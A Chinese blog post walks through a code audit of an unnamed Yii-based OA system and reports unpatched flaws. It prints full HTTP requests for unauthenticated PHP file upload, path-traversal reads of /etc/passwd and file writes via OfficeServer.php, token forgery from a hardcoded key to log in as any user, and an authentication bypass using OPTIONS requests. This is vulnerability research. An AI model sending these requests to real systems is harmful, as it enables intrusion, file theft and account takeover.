代码审计 - PHP - 某OA(Yii) - 0Day

前言

本篇文章首发在先知社区(为先知打Call) 作者Zjacky(本人) 先知社区名称: Zjacky 原文链接为https://xz.aliyun.com/t/13888

代码审计篇章都是自己跟几个师傅们一起审计的1day或者0day(当然都是小公司较为简单),禁止未经允许进行转载,发布到博客的用意主要是想跟师傅们能够交流下审计的思路,毕竟审计的思路也是有说法的,或者是相互源码共享也OK,本次审计的是一套Yii​框架开发的OA系统,算是小0day吧,当然不是自己独自审计,感谢几个审计爹带我@up@冬夏 由于尚未公开,大部分都是厚码,凑合着康康

开发文档

(有的时候一键搭建的时候是会存在一些开发文档的,这些入口文件,路由拼接 , 都需要去查看这些开发文档)

image​​

image​​

可以发现他其实是以system​作为根目录来进行模块化管理,所以我们可以对照着开发文档以及登录的接口来对比看这个MVC框架是如何对应的,当然了,其实我们可以找到他的Yii​入口文件为/web/index.php

这个index.php​做了几个定义,首先是设定了我们用户登录的地址为/oa/main/login​ 然后应用的入口为oa

image

抓到登录的接口

image​​

可以发现是/oa/main/login​这样的接口(由于他有csrf-token所以重放包会302),所以直接看报错回显就行

那我们再来仔细看看Yii​的路由分析(具体详细的原理代码跟踪在参考链接中可参考)

其实框架的URI分析还是有点复杂的(看个大概就行),这个时候我们来找找这个/oa/main/login​是怎么对应的

\system\modules\oa\controllers\MainController.php​ 找到以下代码

image

image

继续跟进\system\modules\user\components\LoginAction::className()

搜索一下账号不存在​其实就可以找到确实是这么个对应法了

image

那么这个路由总结一下

/oa/main/login​ -> 模块名(models)/控制器(controller)/操作(action)

当然了 ,在后续的审计过程中发现其实也给出了相对应的路由访问形式写在了代码中的

image

会在$dependIgnoreValueList​ 变量中将一些路由访问形式写出来(前提是这个$layout​是一个@开头的东东)

审计

上传1

全局搜了下move_uploaded_file​ 然后找了两个在modules​下的文件进行审计

image​​

当进去看上传逻辑的时候发现有一个很抽象的点,开发把扩展后缀的限制注释掉了,所以导致了后面写$config​的时候会没有效果

image​​

那么很有可能就会存在任意文件上传了,然后下面的操作就是跟进了下saveAs​方法发现也并没有什么过滤

image

那么接下来就是如何去找到一个控制器是调用了这个类的方法\system\modules\main\extend\SaveUpload.php#saveFile​的

emmm 全局搜索了下发现并没有(我裂开,可是明显确实是有问题的啊)于是我不死心就在此全局搜索了下SaveUpload​这个关键词

image​​

我突然看到一个点,他通过命名空间来进行调用方法的,所以说只要出现了SaveUpload::saveFile(​ (并且在modules下)就会存在任意文件上传了

image​​

那么在上述已经讲述过了Yii​框架的路由分析,所以这个时候只要去找到谁去调用了这些路径的方法即可 ,比如全局搜索

  • \system\modules\main\extend\Upload.php
  • \system\modules\party\extend\Upload.php

image​​

但是上述两个最为简单的发现并没有成功(也不是权限问题感觉)

image​​

这里属实太多任意文件上传了(MD要是CNVD估计能刷七八张了吧可惜bushi)

其实大部分都不能成功的(为啥?因为鉴权了,但是以下是存在未授权访问的)

  • contacts/default/upload
  • salary/record/upload
  • knowledge/default/upload​​​​​

image​​

而鉴权的代码是这样子的

image

最终报文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST /index.php/salary/record/upload HTTP/1.1
Host: xxx
Content-Length: 196
Cache-Control: max-age=0
sec-ch-ua:
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQayVsySyhSwgpmLk
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/upload/upload.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryQayVsySyhSwgpmLk
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png

<?php phpinfo();?>
------WebKitFormBoundaryQayVsySyhSwgpmLk--

​​

上传2 + 任意文件下载

一样是全局搜索函数​move_uploaded_file

找到\web\static\lib\weboffice\js\OfficeServer.php​这个文件(因为是在static​目录下于是就尝试访问下(因为很有可能是静态的资源可以直接访问))

所以我们直接访问下发现返回200证明文件存在

image​​

接着审计代码逻辑

image

代码很短,可以很轻松读懂,获取一个json值,然后获取他的OPTION​值满足他的switch值就可以进入到上传的逻辑,可以进行文件下载,也可以进行上传

经过测试,可控

image

image

接着就是构造下载包和上传包了

image

1
2
3
4
5
6
7
8
9
GET /static/lib/weboffice/js/OfficeServer.php?FormData={%22OPTION%22:%22LOADFILE%22,%22FILEPATH%22:%22/../../../../../../../../../../../etc/passwd%22} HTTP/1.1
Host: xxxx
Accept: application/json, text/javascript, */*; q=0.01
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
X-Requested-With: XMLHttpRequest
Referer: http://oa1.shuidinet.com/index.php/oa/main/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

image​​

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
POST /static/lib/weboffice/js/OfficeServer.php?FormData={%22OPTION%22:%22SAVEFILE%22,"FILEPATH":"/222.php"} HTTP/1.1
Host: xxxx
Content-Length: 202
Cache-Control: max-age=0
sec-ch-ua:
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: ""
Upgrade-Insecure-Requests: 1
Origin: http://127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQayVsySyhSwgpmLk
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1/upload/upload.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundaryQayVsySyhSwgpmLk
Content-Disposition: form-data; name="FileData"; filename="222.php"
Content-Type: image/png

<?php phpinfo();?>
------WebKitFormBoundaryQayVsySyhSwgpmLk--

任意用户登录

在上传的篇章中其实是可以知道架构的,所以看了下oa​下的文件,发现Auth​的鉴权控制器查看后发现存在硬编码

image

image​​

当然也给了注释

image​​

那么构造逻辑即可成功登录,传入user​ base64加密的内容并且跟key进行拼接后再md5加密传为token​, 两者相等即可登录

前提是user是存在的(跑一下就知道是zhangsan存在)

1
2
3
4
5
6
7
8
9
10
GET /oa/auth/withub?user=emhhbmdzYW4=&token=b336aa3ea64e703583bb7cbe6d924269 HTTP/1.1
Host: xxxx
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.5790.171 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

# user zhangsan

image​​

直接跳转即可登录了​​

权限绕过

这个地方我只能直接封神@up哥 ,我第一次审,没看出来,第二次审,也没看出来,告诉我是权限绕过,我也没审计出来(建议重开)

找到这个文件 api/modules/v1/controllers/UserController.php

image

我的内心想法和审计思路: 在众多目录中当我看完开发文档中的system​根目录我去瞄一眼api​目录是一件很符合逻辑的事情,细看这里有一个这么写的代码

image

1
2
// 不需要认证的方法,用下划线形式,如get_info
public $notAuthAction = ['auth','verify-url'];

又因为他的方法名为

1
2
3
actionVerifyUrl()
actionGetInfo()
actionAuth()

那么通过挖洞大牛子的大脑一眼丁真所以直接传参(所以配合上述来看,actionAuth​ 和 VerifyUrl​ 不需要鉴权 )

那也就是说GetInfo​是需要鉴权的,我们传参进去试试

这里就有个疑问了?如何传参?(这就需要去熟悉一下Yii​的框架了) 所以从他的/web/​下的入口文件来找到定义/api​的入口 -> oa-api.php

image

那么我尝试了下以下传参后发现返回404

1
/oa-api.php/v1/user/getinfo?id=1

于是重新回过头来查看这串代码

1
public $notAuthAction = ['auth','verify-url'];

发现可能中间会存在-​来进行分割(这是要有多细心)

所以最终通过以下传参发现成功传入但回显为401证明存在鉴权

1
/oa-api.php/v1/user/get-info?id=1

image​​

这里因为他继承了BaseApiController​ 所以跟进父类查看

image

tips: 这里的behaviors​方法应该是会先走的(具体为啥可能因为是yii​框架的原因吧 )

所以下边有一个||​进行了一个if​判断 (又是猜猜猜了)这里判断登录是否请求方式为OPTIONS​ 或者 是不鉴权的接口(notAuthAction​)就进入下面逻辑,那就猜测通过OPTIONS​后就不鉴权了接口于是构造报文

image​​​

参考链接

总结

  • 一定要细心,多仔细去猜测开发的思路
  • 多猜测一些奇怪的写法(以黑盒的逻辑来看白盒)
  • 要有经验(本次Yii​确实是第一次审 比较吃力了)

这里小插曲,我非常虚心的去问了一下审计的大牛子,原来发现代码审计如此简单啊!

image​​


代码审计 - PHP - 某OA(Yii) - 0Day
https://zjackky.github.io/post/code-audit-php-some-oa-yii-0day-2poyy1.html
作者
Zjacky
发布于
2024年1月3日
许可协议